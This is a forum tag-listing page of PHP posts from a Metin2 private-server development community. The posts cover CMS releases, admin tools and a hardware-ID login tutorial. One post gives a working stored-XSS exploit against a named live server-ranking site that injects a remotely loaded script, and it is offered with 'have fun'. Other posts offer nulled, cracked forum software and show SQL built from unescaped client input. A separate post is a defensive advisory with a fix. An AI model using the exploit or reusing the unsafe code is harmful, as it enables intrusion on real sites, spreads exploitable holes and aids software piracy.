Jump to content

Search the Community

Showing results for tags 'php'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Metin2 Dev
    • Announcements
  • Community
    • Member Representations
    • Off Topic
  • Miscellaneous
    • Metin2
    • Showcase
    • File Requests
    • Community Support - Questions & Answers
    • Paid Support / Searching / Recruiting
  • Metin2 Development
  • Metin2 Development
    • Basic Tutorials / Beginners
    • Guides & HowTo
    • Binaries
    • Programming & Development
    • Web Development & Scripts / Systems
    • Tools & Programs
    • Maps
    • Quests
    • 3D Models
    • 2D Graphics
    • Operating Systems
    • Miscellaneous
  • Private Servers
    • Private Servers
  • Uncategorized
    • Drafts
    • Trash
    • Archive
    • Temporary
    • Metin2 Download

Product Groups

  • Small Advertisement
  • Large Advertisement
  • Advertising

Categories

  • Third Party - Providers Directory

Categories

  • Overview
  • Pages
    • Overview
    • File Formats
    • Network
    • Extensions

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Pillory


Marketplace


Game Server


Country


Nationality


Github


Gitlab


Discord


Skype


Website

  1. M2 Download Center Download Here ( Internal ) Link download : Mega Link VT: Virus Total Why post: Resellers for me are shits
  2. M2 Download Center Download Here ( Internal ) Hi, Im releasing my metin2 cms. Reason: few people made refund after paying me on paypal (i'm not using this stupid system for selling stuffs anymore) Features: Almost everything customizable in administration - no programming knowledge required Highly secured (CMS is using PDO driver instead of mysql_ function, bruteforce protection, anti flood protection) Responsive template (bootstrap) Almost every user actions on web are logged You can choose if you want to use classic php email function or SMTP server Built-in ticket system Referral system Coupons Itemshop - you can enable discount action, let users change quantity of item, add normal item / premium Easy to translate language (all strings are in 1 file) SEO friendly links (yoursite.com/team instead of yoursite.com?page=team) Automatic paypal payment script, paysafecard and amazon code payment scripts And many others... (see screenshots) Screenshots: [Hidden Content] I didn't implement installation script, so you must install it manually (tutorial in readme.txt) If you like my CMS, you can donate me on paypal - [Hidden Content] Don't remove my copyright, please. Download link: [Hidden Content] Scan: [Hidden Content] EDIT: Bugfix 1 - Rename file "inc/classes/securimage.class.php" to "Securimage.class.php" (first letter need to be uppercase)
  3. M2 Download Center Download Here ( Internal ) Hey guys, i've been working lately on metin2 website and i finally finished it. This website is completely running securely using php and PDO not mysql like other sites i have seen. it only needs you to change to design of it and it will be ready to use you can download the files from this link [Hidden Content] and if anyone needs any help to setup this website just contact me on skype : john.dark95 or facebook : [Hidden Content] best wishes to you all.
  4. M2 Download Center Download Here ( Internal ) Hi , A years ago when i was working on one server my idk if he made this code atleast i post here the website it contain: PSD and Code and website is working well 100% Preview of design Download
  5. M2 Download Center Download Here ( Internal ) Hello, XenForo is a forum content manager written in the PHP programming language using Zend Framework. It is developed by former senior vBulletin developers Kier Darby and Mike Sullivan. It's a so called nulled, crack version, you don't need the license to use it. Sincerly; ASIKOO
  6. M2 Download Center Download Here ( Internal ) Hello, WoltLab Burning Board is a forum produced by the German company WoltLab GmbH. It is written in PHP and uses a MySQL database, it is comparable to other forums such as Invision Power Board, phpBB, vBulletin and MyBulletinBoard. It's a so called nulled, crack version, you don't need a license to use it. Sincerly, ASIKOO
  7. M2 Download Center Download Here ( Internal ) Table of Contents · Introduction · General Informations · Features o Functional Features o Working on it… o Planned · Pictures · Acknowledgements · Closing Introduction Dear metin2dev-Community, since Ayaka stopped working on his CMS and we found some things, which were done on a bad way, we agreed to recreate everything on a in our opinion better way. So we proudly present our new and amazing QuantumCMS (made by “Team Quantum” obviously), which still is under development and will be OpenSource (licensed under GPL v3) in the future. “Team Quantum” is a non-profit organization, which consists of two people: DevChuckNorris & .PolluX Our idea is it, to create a new “in-2015”-CMS, which will have a huge amount of possibilities of customization and also have a professional way of Coding & Plugin Support. And how much will it costs? Nothing! It’s completly open source and modifiable. General Informations We’re now working on this project for some days and also have a small base on which we develope further. Our plans are also for the future. We’re planning to create a simple Plugin-Store on which Users/Developers can submit Plugins to us to make them available to the public. Also, as we said in the introduction, we’re using OOP to deliver a cleaner and more professional system. This intention is supported by the Template System “Smarty” and some more PHP librarys (e.g Doctrine ORM). Features Functional features Multi-Language System Template System (using Smarty) Page System SEO friendly URLs (like [Hidden Content]) Working on it… Serverstatus Plugin System Hooking Points User area Admin area Planned features Simple installation Small but full functional board (easy integrated into your design) Automatic generated Wiki Advanced server statistics Plugin Store Automatic update system Theme System Full Documentation for Developers and end-users you can find more on our ToDo list on github Pictures 1. Main Site For development we’re using german translations, but we’ll deliver an english one, too. 2. Code Example This is the Development-Tool of me. You can see, that we’ve done a lot of work, yet - and more will follow each week. More is coming soon. Acknowledgements Thanks to Ayaka, for creating a small base on which we can start our development. Also we want to thank hen! for his “in-2010-great”-CMS, but now it’s time for a new and unique one, ours! Additionally to this, we want to thank all of you, which will support our idea and our work and help us, making this a great and future-proof CMS. Closing We hope, that you now have a good view on our project and will support us in any way you are able to. Later on, we will need help on translating this page into other languages (e.g. Czech, Spanish, Italian, etc.) You can find and watch our progress on github: [Hidden Content] Cheers, DevChuckNorris & .PolluX
  8. Download Metin2 Download System for drawing items for points The look is exemplary, if you want prettier and more functional, write to me. [Hidden Content] For the system to work, you need to connect to your base (class, function, etc.). They are marked as TODO Setting: $c->price = 100; // Number of points needed for the draw $c->items([ // List of items to be won. [ID, Promil] (percentage * 10) [100100, 500], [100200, 500], [100000, 500], [100300, 200], [100400, 200], [100500, 100], [30270, 100], [50255, 100], [50256, 100], [50257, 100], [50258, 100], [50259, 100], ]); Instruction Do you need a quest, system or www? Write to me, I can create everything. (Full STACK, Web (PHP, JS, SQL, HTML, CSS), Server (C ++, Python, Lua)) Discord Alerin#5559
  9. M2 Download Center Download Here ( Internal ) Download Here ( GitHub ) System to turn on/off/restart the server together with online status and time This is the free version, I also have a premium with colors, the ability to control each channel separately and browse syserr/syslog. Do you need a quest, system or www? Write to me, I can create everything. (Full STACK, Web (PHP, JS, SQL, HTML, CSS), Server (C ++, Python, Lua)) Discord Alerin#5559
  10. Hi, Here is a small example of a code injection on the top list: metin2pserver.info. If you want to test it yourself: I hosted the following script here ( [Hidden Content] ): /** * Rate. * * @param {string} serverId * @param {string} name * @param {string} email * @param {number} rating * @option 1 - Insufficient * @option 2 - Inadequate * @option 3 - Sufficient * @option 4 - Satisfying * @option 5 - Good * @option 6 - Very good * @param {string} comment * @param {number} picture * @option 1 - Warrior (m) * @option 2 - Warrior (f) * @option 3 - Ninja (m) * @option 4 - Ninja (f) * @option 5 - Sura (m) * @option 6 - Sura (f) * @option 7 - Shaman (m) * @option 8 - Shaman (f) */ function rate(serverId, name, email, rating, comment, picture = 1) { const root = document.documentElement; const iframe = document.createElement('iframe'); iframe.style.setProperty('display', 'none'); iframe.src = `[Hidden Content]}`; return new Promise((resolve) => { iframe.onload = () => { const [s] = iframe.contentDocument.getElementsByName('s'); const token = s && s.value; root.removeChild(iframe); const data = { Name: name, Email: email, Rating: rating, Comments: comment, pic: picture, id: serverId, s: token, }; const params = []; for (const param in data) { const value = data[param]; params.push(encodeURIComponent(param) + '=' + encodeURIComponent(value)); } const body = params.join('&'); if (token) { fetch(iframe.src, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', }, body, }) .then(() => resolve(true)) .catch(() => resolve(false)); } else { resolve(false); } }; root.appendChild(iframe); }); } if (location.hash === '#methowashere') { const serverId = /server-(.*?).html/.exec(location.href)[1]; const name = prompt('Your name'); const comment = prompt('Your comment'); rate(serverId, name, '', 1, comment); } To inject it, go to a server page (e. g.: [Hidden Content]). Launch this script on the page: /** * Rate. * * @param {string} serverId * @param {string} name * @param {string} email * @param {number} rating * @option 1 - Insufficient * @option 2 - Inadequate * @option 3 - Sufficient * @option 4 - Satisfying * @option 5 - Good * @option 6 - Very good * @param {string} comment * @param {number} picture * @option 1 - Warrior (m) * @option 2 - Warrior (f) * @option 3 - Ninja (m) * @option 4 - Ninja (f) * @option 5 - Sura (m) * @option 6 - Sura (f) * @option 7 - Shaman (m) * @option 8 - Shaman (f) */ function rate(serverId, name, email, rating, comment, picture = 1) { const root = document.documentElement; const iframe = document.createElement('iframe'); iframe.style.setProperty('display', 'none'); iframe.src = `[Hidden Content]}`; return new Promise((resolve) => { iframe.onload = () => { const [s] = iframe.contentDocument.getElementsByName('s'); const token = s && s.value; root.removeChild(iframe); const data = { Name: name, Email: email, Rating: rating, Comments: comment, pic: picture, id: serverId, s: token, }; const params = []; for (const param in data) { const value = data[param]; params.push(encodeURIComponent(param) + '=' + encodeURIComponent(value)); } const body = params.join('&'); if (token) { fetch(iframe.src, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', }, body, }) .then(() => resolve(true)) .catch(() => resolve(false)); } else { resolve(false); } }; root.appendChild(iframe); }); } /** * Inject. * * @param {string} script * @param {string} name */ function injectScript(script, name = 'Dummy') { const serverId = /server-(.*?).html/.exec(location.href)[1]; const code = `$.getScript('${script}')`; const injection = `"style="animation:fb_transform"onanimationstart="${code}"`; console.log(`Server: ${serverId}`); console.log(`Name: ${name}`); console.log(`Script: ${script}`); console.log(`Injections: ${injection}`); return rate(serverId, name, injection, 1, '[...]'); } You can then inject it like this: injectScript('[Hidden Content]').then((r) => console.log('Result: ', r)); You can then test it like this: [Hidden Content] Have fun ?
  11. M2 Download Center Download Here ( Internal ) Hi all, Since I'm too busy nowadays, I decided to release all of my old works that I got scammed with. Due to lack of time, my services are suspended for more than 6 months now. Hope that I can help newbies to learn some new techniques. Tbh, I was a newbie too when I made these, but I learned a lot while I was working on them. You have all rights to use all of them, just please leave my name in the footer. Langara2 webdesign (coded with metin2cms, I don't recommend to use it since as I remember this version have some exploits) Have fun with them, font are included.
  12. M2 Download Center Download Here ( Internal ) I think someone will be useful, the list of bonuses in two languages as one file. (If anyone wants, I can automatically translate in his language) [Hidden Content] Example: use M2\Bonus; $bonus = new Bonus(Bonus::APPLY_ATT_SPEED); // bonus name or ID $bonus->lang = 'en'; echo $bonus->translation; echo $bonus->name; echo $bonus->id; I can create scripts / systems in PHP on request.
  13. Hello everybody, Since someone asked me about injections in Metin2CMS (targeted CMS: [Hidden Content]), I quickly looked at the code of the CMS mentioned. I also noticed a critical exploit that enables code injections. The file include\functions\sendEmail.php contains the following code: $site_name = $_SERVER['SERVER_NAME']; if ($site_name == 'localhost' || $site_name == '127.0.0.1') $site_name = 'metin2cms.cf'; As of Apache 2, $_SERVER['SERVER_NAME'] can be transmitted from the client to the server via the http header Host (like for $_SERVER['HTTP_HOST'] too). An email is sent in the same file using PHPMailer and the sender is set as follows: $mail->SetFrom($email_name . '@' . $site_name, $site_title); The script include\mailer\PHPMailer.php validates the sender as follows: if (!empty($this->Sender) and static::validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } } The validateAddress function uses FILTER_VALIDATE_EMAIL according to RFC 822, which is not sufficient to check e-mails. The isShellSafe function uses escapeshellcmd, which prevents additional commands from being executed, but it is still possible to pass additional parameters / flags that allow the execution of PHP code. I wrote with Ionut and thanks to him he already released a full solution for this here: [Hidden Content] Fix: Remove: $email_name = 'noreplay'; $site_name = $_SERVER['SERVER_NAME']; if ($site_name == 'localhost' || $site_name == '127.0.0.1') $site_name = 'metin2cms.cf'; Replace: $mail->SetFrom($email_name . '@' . $site_name, $site_title); $mail->AddReplyTo($email_name . "@" . $site_name, $site_title); With: $mail->SetFrom($email_username, $site_title); $mail->AddReplyTo($email_username, $site_title); Btw, i would not suggest setting the variable through Apache using ServerName and UseCanonicalName. These variables should not be used in productive environments. Hope it helps. Also thanks to @martysama0134 who reached out to him.
  14. M2 Download Center Download Here ( Internal ) Hello MT2Dosyalar ! I want to share a system developed by MT2Dosyalar. System I saw on a first in Turkey! First of all, the Register / Registration system in Classic Server Panels works as follows! In the form of username, password, mail, security question. What distinguishes this recording system from the others is that you can do the operations on the client via the panel! Properties -------------- 1) You Will Choose the Flag of Your Account When You Register 2) You will be asked to choose a character (warrior, sura, ninja, shaman) 3) You will be asked to choose the type of your character (Girl / Boy) 4) You will be asked to Name the character you have created in the Game (Character Name in the Game) 5) You will be asked for Mail, Username, Security Password! SETUP ------------- 1) Login to Navicat. You will create a new database. Name: mt2dosyalar Then you will throw it into settings.sql 2) Login to Navicat account> drop account.sql here in the file you downloaded 3) Log In Navicat player> Throw player.sql here in the file you downloaded 4) Settings in the main directory will be edited. 5) kayit-sistemi/ayarlar.php will be edited DOWNLOAD LİNK : [Hidden Content] CODER İNFO : [Hidden Content]
  15. M2 Download Center Download Here ( Internal ) <?php class SocketConnection { private $m_socket; private $m_recv_buf; public function __construct() { $this->m_socket = 0; $this->m_recv_buf = ""; } public function Connect($host, $port, $timeout) { $this->m_socket = fsockopen($host, $port, $errno, $errstr, $timeout); if (!$this->m_socket) { echo(sprintf("%s (%d)<br>\n", $errstr, $errno)); return false; } return true; } public function Recv($len) { $this->m_recv_buf = fread($this->m_socket, $len); } public function Send($buf) { fwrite($this->m_socket, $buf); } public function GetRecvBuf() { return $this->m_recv_buf; } } class GameConnector { private $m_socketConnector; public function __construct($host, $port) { $this->m_socketConnector = new SocketConnection; if (!$this->m_socketConnector->Connect($host, $port, 5)) return false; $this->m_socketConnector->Recv(32); $recvBuf = $this->m_socketConnector->GetRecvBuf(); if (ord($recvBuf[0]) != 253) { echo("GameConnector does not handle this packet!"); return false; } } public function Send($str) { $this->m_socketConnector->Send("@".$str."\n"); $this->m_socketConnector->Recv(64); } public function GetBuffer() { return $this->m_socketConnector->GetRecvBuf(); } } $host = "192.168.1.120"; //ip adresi $port = 13000; // port $api = new GameConnector($host, $port); $api->Send("sjefjfhsfjkfs1"); // p2p şifre $api->Send("NOTICE Web Uzerinden Bildirim Yolla Testi 2"); // Komut $apiBuf = substr($api->GetBuffer(), 0, -1); if(empty($apiBuf)) { echo "Game did not respond"; exit; } if(is_numeric($apiBuf[0])) { $userCount = explode(" ", $apiBuf); echo sprintf("Total[%d] %d / %d / %d (this server %d)", $userCount[0], $userCount[1], $userCount[2], $userCount[3], $userCount[4]); exit; } if($apiBuf=="UNKNOWN") echo "Command send and executed no custom response"; else echo $apiBuf; ?> source
  16. M2 Download Center Download Here ( Internal ) Hi! As you know I'm already selling some small very good designs, to have no problem with one of them because its interface and edited only share your code with its original design. It is the classic of officers in its glory as it were. I have searched many forums and in all your link is down, this in Spanish at 90% and is very good, very stable and useful in many ways. Add a screenshot that and get on google, is in English but serves as a reference! Download here Another skin If you have any error let me know to help since I have edited and tested the design, and improved this or not. I hope you like it, I'll be sharing some designs, you! PS: Sorry for my bad English Wered $.
  17. M2 Download Center Download Here ( Internal ) With this tool you can convert the Eternexus Keys to Eterpack.cpp Keys: //Your Eterpack.cpp Example static DWORD s_adwEterPackKey[] = { 45129401, 92367215, 681285731, 1710201, }; static DWORD s_adwEterPackSecurityKey[] = { 78952482, 527348324, 1632942, 486274726, }; This is my tool to Convert Eternexus to Eterpack! <html> <head> <title> LZO - Eternexus To EterPack by M2BobFixed </title> </head> <body> <center> <?php if (isset($_POST["key1"])) { $key1=$_POST["key1"]; $key2=$_POST["key2"]; $key3=$_POST["key3"]; $key4=$_POST["key4"]; $key5=$_POST["key5"]; $key6=$_POST["key6"]; $key7=$_POST["key7"]; $key8=$_POST["key8"]; if (ctype_xdigit($key1) && ctype_xdigit($key2) && ctype_xdigit($key3) && ctype_xdigit($key4)) { if (strlen($key1) == 8 && strlen($key2) == 8 && strlen($key3) == 8 && strlen($key4) == 8) { $index_key=explode(" - ", $key1." - ".$key2." - ".$key3." - ".$key4); $final_key=""; foreach ($index_key as $k=>$v) $final_key.=strtolower("".implode("", array_reverse(str_split($index_key[$k], 2)))); $eterpack=unpack("L*", hex2bin($final_key)); echo "You inserted these Index Keys: <b>[".$key1." - ".$key2." - ".$key3." - ".$key4."]</b><br><br>"; echo "Here, your Index Keys for Eterpack.cpp:<br>"; echo "<b>static DWORD s_adwEterPackKey[] = {".$eterpack[1].", ".$eterpack[2].", ".$eterpack[3].", ".$eterpack[4].",};</b><br><br>"; }else{ echo "[IndexKey] Insert valid index keys!<br>"; } }else{ echo "[IndexKey] Insert valid index keys!<br>"; } if (ctype_xdigit($key5) && ctype_xdigit($key6) && ctype_xdigit($key7) && ctype_xdigit($key8)) { if (strlen($key5) == 8 && strlen($key6) == 8 && strlen($key7) == 8 && strlen($key8) == 8) { $pack_key=explode(" - ", $key5." - ".$key6." - ".$key7." - ".$key8); $final_key2=""; foreach ($pack_key as $k2=>$v2) $final_key2.=strtolower("".implode("", array_reverse(str_split($pack_key[$k2], 2)))); $eterpack2=unpack("L*", hex2bin($final_key2)); echo "You inserted these Pack Keys: <b>[".$key5." - ".$key6." - ".$key7." - ".$key8."]</b><br><br>"; echo "Here, your Pack Keys for Eterpack.cpp:<br>"; echo "<b>static DWORD s_adwEterPackSecurityKey[] = {".$eterpack2[1].", ".$eterpack2[2].", ".$eterpack2[3].", ".$eterpack2[4].",};</b><br><br>"; }else{ echo "[PackKey] Insert valid pack keys!<br>"; } }else{ echo "[PackKey] Insert valid pack keys!<br>"; } } ?> <form method="post"> Insert your Eternexus Index Key: <input maxlength="8" placeholder="02B09EB9" value="02B09EB9" name="key1"> - <input maxlength="8" placeholder="0581696F" value="0581696F" name="key2"> - <input maxlength="8" placeholder="289B9863" value="289B9863" name="key3"> - <input maxlength="8" placeholder="001A1879" value="001A1879" name="key4"> <br> <br> Insert your Eternexus Pack Key: <input maxlength="8" placeholder="04B4B822" value="04B4B822" name="key5"> - <input maxlength="8" placeholder="1F6EB264" value="1F6EB264" name="key6"> - <input maxlength="8" placeholder="0018EAAE" value="0018EAAE" name="key7"> - <input maxlength="8" placeholder="1CFBF6A6" value="1CFBF6A6" name="key8"> <br> <br> <input type="submit" value="Convert!"> </form> </body> </center> </html>
  18. M2 Download Center Download Here ( Internal ) Hi devs, I maked new user check system(like IP) with Hardware Needed Files; Server Part: Common -> tables.h, lenght.h Game -> input_auth.cpp, packet.h Client Part: Pack -> intrologin.py, networkmodule.py, constinfo.py Client -> AccountConnector.cpp, AccountConnector.h, Packet.h, PythonNetworkStream.cpp, PythonNetworkStream.h, PythonNetworkStreamModule.cpp, PythonNetworkStreamPhaseLogin.cpp A BACKUP BEFORE YOU START KNOWN BUGS; All Auth Events logging(not only succesfuly) Let's start 1) First Server Part: 1-1) Common 1-1-1) Tables.h Search typedef struct SAccountTable And replace with this typedef struct SAccountTable { DWORD id; char login[LOGIN_MAX_LEN + 1]; char Hwid[HWID_MAX_LEN + 1]; char Snn[SNN_MAX_LEN + 1]; char passwd[PASSWD_MAX_LEN + 1]; char social_id[SOCIAL_ID_MAX_LEN + 1]; char status[ACCOUNT_STATUS_MAX_LEN + 1]; BYTE bEmpire; TSimplePlayer players[PLAYER_PER_ACCOUNT]; } TAccountTable; Search typedef struct SLoginPacket And replace with this typedef struct SLoginPacket { char login[LOGIN_MAX_LEN + 1]; char passwd[PASSWD_MAX_LEN + 1]; char Hwid[HWID_MAX_LEN + 1]; char Snn[SNN_MAX_LEN + 1]; } TLoginPacket; Search typedef struct SPacketGDAuthLogin And replace with this typedef struct SPacketGDAuthLogin { DWORD dwID; DWORD dwLoginKey; char szLogin[LOGIN_MAX_LEN + 1]; char szHwid[HWID_MAX_LEN + 1]; char szSnn[SNN_MAX_LEN + 1]; char szSocialID[SOCIAL_ID_MAX_LEN + 1]; DWORD adwClientKey[4]; BYTE bBillType; DWORD dwBillID; int iPremiumTimes[PREMIUM_MAX_NUM]; } TPacketGDAuthLogin; 1-1-2) Lenght.h Search PASSWD_MAX_LEN = 16, Add it below HWID_MAX_LEN = 50, SNN_MAX_LEN = 50, 1-2) Game 1-2-1) input_auth.cpp Search this function void CInputAuth::Login(LPDESC d, const char * c_pData) Find this char passwd[PASSWD_MAX_LEN + 1]; strlcpy(passwd, pinfo->passwd, sizeof(passwd)); and add it below char Hwid[HWID_MAX_LEN + 1]; strlcpy(Hwid, pinfo->Hwid, sizeof(Hwid)); char Snn[SNN_MAX_LEN + 1]; strlcpy(Snn, pinfo->Snn, sizeof(Snn)); std::auto_ptr<SQLMsg> msg(DBManager::instance().DirectQuery("UPDATE account.account SET hwid = '%s', Snn = '%s' WHERE login = '%s'", pinfo->Hwid, pinfo->Snn, login)); 1-2-2) packet.h Search typedef struct command_login2 and replace with this typedef struct command_login2 { BYTE header; char login[LOGIN_MAX_LEN + 1]; DWORD dwLoginKey; DWORD adwClientKey[4]; char Hwid[HWID_MAX_LEN + 1]; char Snn[SNN_MAX_LEN + 1]; } TPacketCGLogin2; Search typedef struct command_login3 and replace with this typedef struct command_login3 { BYTE header; char login[LOGIN_MAX_LEN + 1]; char passwd[PASSWD_MAX_LEN + 1]; char Hwid[HWID_MAX_LEN + 1]; char Snn[SNN_MAX_LEN + 1]; DWORD adwClientKey[4]; } TPacketCGLogin3; 2) Second Client Part 2-1)Pack 2-1-1)Constinfo.py Add anywhere import os try: Hwid = os.popen("wmic csproduct get uuid").read().split("n")[1] except: Hwid = os.popen("%WINDIR%/system32/wbem/wmic csproduct get uuid").read().split("n")[1] try: Snn = os.popen('wmic path win32_physicalmedia get SerialNumber').read().split("n")[1] except: Snn = os.popen("%WINDIR%/system32/wbem/wmic path win32_physicalmedia get SerialNumber").read().split("n")[1] 2-1-2)Networkmodule.py add this import import constInfo and add it below Hwid=constInfo.Hwid Snn=constInfo.Snn Search self.pwd="" and add it below self.Hwid=constInfo.Hwid self.Snn=constInfo.Snn Search def SetLoginInfo(self, id, pwd) self.id = id self.pwd = pwd net.SetLoginInfo(id, pwd) and replace with this def SetLoginInfo(self, id, pwd, Hwid, Snn): self.id = id self.pwd = pwd self.Hwid = constInfo.Hwid self.Snn = constInfo.Snn net.SetLoginInfo(id, pwd, Hwid, Snn) 2-2-3)introLogin.py Search RUNUP_MATRIX_AUTH = FALSE Add top Hwid = constInfo.Hwid Snn = constInfo.Snn Search this function def Connect(self, id): and replace with this def Connect(self, id, pwd, Hwid, Snn): global Hwid, Snn if constInfo.SEQUENCE_PACKET_ENABLE: net.SetPacketSequenceMode() if IsLoginDelay(): loginDelay = GetLoginDelay() self.connectingDialog = ConnectingDialog() self.connectingDialog.Open(loginDelay) self.connectingDialog.SAFE_SetTimeOverEvent(self.OnEndCountDown) self.connectingDialog.SAFE_SetExitEvent(self.OnPressExitKey) self.isNowCountDown = TRUE else: self.stream.popupWindow.Close() self.stream.popupWindow.Open(localeInfo.LOGIN_CONNETING, self.SetPasswordEditLineFocus, localeInfo.UI_CANCEL) self.stream.SetLoginInfo(id, pwd, Hwid, Snn) self.stream.Connect() Search def __LoadLoginInfo(self, loginInfoFileName): Add it below global Hwid, Snn Search self.pwd = None Add it below self.Hwid = Hwid self.Snn = Snn Search self.Connect(id, pwd) Replace with this self.Connect(id, pwd, Hwid, Snn) Search self.Connect(id, pwd) Replace With This self.Connect(id, pwd, Hwid, Snn) Search def __OnClickLoginButton(self): Add it below global Hwid, Snn 2-2)Client 2-2-1)Packet.h Search PASS_MAX_NUM = 16, and add it below HWID_MAX_NUM = 50, SNN_MAX_NUM = 50, Search typedef struct command_login And replace with this typedef struct command_login { BYTE header; char name[ID_MAX_NUM + 1]; char pwd[PASS_MAX_NUM + 1]; char Hwid[HWID_MAX_NUM + 1]; char Snn[SNN_MAX_NUM + 1]; } TPacketCGLogin; Search typedef struct command_login3 And replace with this typedef struct command_login3 { BYTE header; char name[ID_MAX_NUM + 1]; char pwd[PASS_MAX_NUM + 1]; char Hwid[HWID_MAX_NUM + 1]; char Snn[SNN_MAX_NUM + 1]; DWORD adwClientKey[4]; } TPacketCGLogin3; Search typedef struct command_direct_enter And replace with this typedef struct command_direct_enter { BYTE bHeader; char login[ID_MAX_NUM + 1]; char passwd[PASS_MAX_NUM + 1]; char Hwid[HWID_MAX_NUM + 1]; char Snn[SNN_MAX_NUM + 1]; BYTE index; } TPacketCGDirectEnter; 2-2-2)AccountConnector.h Search void SetLoginInfo(const char * c_szName, const char * c_szPwd Replace with this void SetLoginInfo(const char * c_szName, const char * c_szPwd, const char * c_szHwid, const char * c_szSnn); Search std::string m_strPassword; Add it below std::string m_strHwid; std::string m_strSnn; 2-2-3)AccountConnector.cpp Search this function void CAccountConnector::SetLoginInfo(const char * c_szName, const char * c_szPwd) Replace with this void CAccountConnector::SetLoginInfo(const char * c_szName, const char * c_szPwd, const char * c_szHwid, const char * c_szSnn) { m_strID = c_szName; m_strPassword = c_szPwd; m_strHwid = c_szHwid; m_strSnn = c_szSnn; } Search strncpy(LoginPacket.pwd, m_strPassword.c_str(), PASS_MAX_NUM); add it below strncpy(LoginPacket.Hwid, m_strHwid.c_str(), HWID_MAX_NUM); strncpy(LoginPacket.Snn, m_strSnn.c_str(), SNN_MAX_NUM); Search LoginPacket.pwd[PASS_MAX_NUM] = '0'; Add it below LoginPacket.Hwid[HWID_MAX_NUM] = '0'; LoginPacket.Snn[SNN_MAX_NUM] = '0'; Search SetLoginInfo("", ""); Replace with this SetLoginInfo("", "", "", ""); 2-2-4)PythonNetworkStreamPhaseLogin.cpp Search(2x) if (0 != m_dwLoginKey) and replace with this if (0 != m_dwLoginKey) SendLoginPacketNew(m_stID.c_str(), m_stPassword.c_str(), m_stHwid.c_str(), m_stSnn.c_str()); else SendLoginPacket(m_stID.c_str(), m_stPassword.c_str(), m_stHwid.c_str(), m_stSnn.c_str()); Search this function bool CPythonNetworkStream::SendDirectEnterPacket(const char* c_szID, const char* c_szPassword) replace with this bool CPythonNetworkStream::SendDirectEnterPacket(const char* c_szID, const char* c_szPassword, const char* c_szHwid, const char* c_szSnn, UINT uChrSlot) { TPacketCGDirectEnter kPacketDirectEnter; kPacketDirectEnter.bHeader=HEADER_CG_DIRECT_ENTER; kPacketDirectEnter.index=uChrSlot; strncpy(kPacketDirectEnter.login, c_szID, ID_MAX_NUM); strncpy(kPacketDirectEnter.passwd, c_szPassword, PASS_MAX_NUM); strncpy(kPacketDirectEnter.Hwid, c_szHwid, HWID_MAX_NUM); strncpy(kPacketDirectEnter.Snn, c_szSnn, SNN_MAX_NUM); if (!Send(sizeof(kPacketDirectEnter), &kPacketDirectEnter)) { Tracen("SendDirectEnter"); return false; } return SendSequence(); } Search this function bool CPythonNetworkStream::SendLoginPacket(const char* c_szName, const char* c_szPassword) and replace with this bool CPythonNetworkStream::SendLoginPacket(const char* c_szName, const char* c_szPassword, const char* c_szHwid, const char* c_szSnn) { TPacketCGLogin LoginPacket; LoginPacket.header = HEADER_CG_LOGIN; strncpy(LoginPacket.name, c_szName, sizeof(LoginPacket.name)-1); strncpy(LoginPacket.pwd, c_szPassword, sizeof(LoginPacket.pwd)-1); strncpy(LoginPacket.Hwid, c_szHwid, sizeof(LoginPacket.Hwid)-1); strncpy(LoginPacket.Snn, c_szSnn, sizeof(LoginPacket.Snn)-1); LoginPacket.name[ID_MAX_NUM]='0'; LoginPacket.pwd[PASS_MAX_NUM]='0'; LoginPacket.Hwid[HWID_MAX_NUM]='0'; LoginPacket.Snn[SNN_MAX_NUM]='0'; if (!Send(sizeof(LoginPacket), &LoginPacket)) { Tracen("SendLogin Error"); return false; } return SendSequence(); } Search bool CPythonNetworkStream::SendLoginPacketNew(const char * c_szName, const char * c_szPassword) and replace with this bool CPythonNetworkStream::SendLoginPacketNew(const char * c_szName, const char * c_szPassword, const char * c_szHwid, const char * c_szSnn) 2-2-4)PythonNetworkStreamModule.cpp Search this function PyObject* netSetLoginInfo(PyObject* poSelf, PyObject* poArgs) and replace with this PyObject* netSetLoginInfo(PyObject* poSelf, PyObject* poArgs) { char* szName; if (!PyTuple_GetString(poArgs, 0, &szName)) return Py_BuildException(); char* szPwd; if (!PyTuple_GetString(poArgs, 1, &szPwd)) return Py_BuildException(); char* szHwid; if (!PyTuple_GetString(poArgs, 2, &szHwid)) return Py_BuildException(); char* szSnn; if (!PyTuple_GetString(poArgs, 3, &szSnn)) return Py_BuildException(); CPythonNetworkStream& rkNetStream=CPythonNetworkStream::Instance(); CAccountConnector & rkAccountConnector = CAccountConnector::Instance(); rkNetStream.SetLoginInfo(szName, szPwd, szHwid, szSnn); rkAccountConnector.SetLoginInfo(szName, szPwd, szHwid, szSnn); return Py_BuildNone(); } Search this function PyObject* netSendLoginPacket(PyObject* poSelf, PyObject* poArgs) and replace with this PyObject* netSendLoginPacket(PyObject* poSelf, PyObject* poArgs) { char* szName; if (!PyTuple_GetString(poArgs, 0, &szName)) return Py_BuildException(); char* szPwd; if (!PyTuple_GetString(poArgs, 1, &szPwd)) return Py_BuildException(); char* szHwid; if (!PyTuple_GetString(poArgs, 2, &szHwid)) return Py_BuildException(); char* szSnn; if (!PyTuple_GetString(poArgs, 3, &szSnn)) return Py_BuildException(); CPythonNetworkStream& rkNetStream=CPythonNetworkStream::Instance(); rkNetStream.SendLoginPacket(szName, szPwd, szHwid, szSnn); return Py_BuildNone(); } 2-2-5)PythonNetworkStream.h Search void SetLoginInfo(const char* c_szID, const char* c_szPassword); Replace with this void SetLoginInfo(const char* c_szID, const char* c_szPassword, const char* c_szHwid, const char* c_szSnn); Search bool SendLoginPacket(const char * c_szName, const char * c_szPassword); bool SendLoginPacketNew(const char * c_szName, const char * c_szPassword); Replace with this bool SendLoginPacket(const char * c_szName, const char * c_szPassword, const char * c_szHwid, const char * c_szSnn); bool SendLoginPacketNew(const char * c_szName, const char * c_szPassword, const char * c_szHwid, const char * c_szSnn); Search bool SendDirectEnterPacket(const char * c_szName, const char * c_szPassword, UINT uChrSlot); And replace with this bool SendDirectEnterPacket(const char * c_szName, const char * c_szPassword, const char * c_szHwid, const char * c_szSnn, UINT uChrSlot); Search std::string m_stPassword; Add it below std::string m_stHwid; std::string m_stSnn; 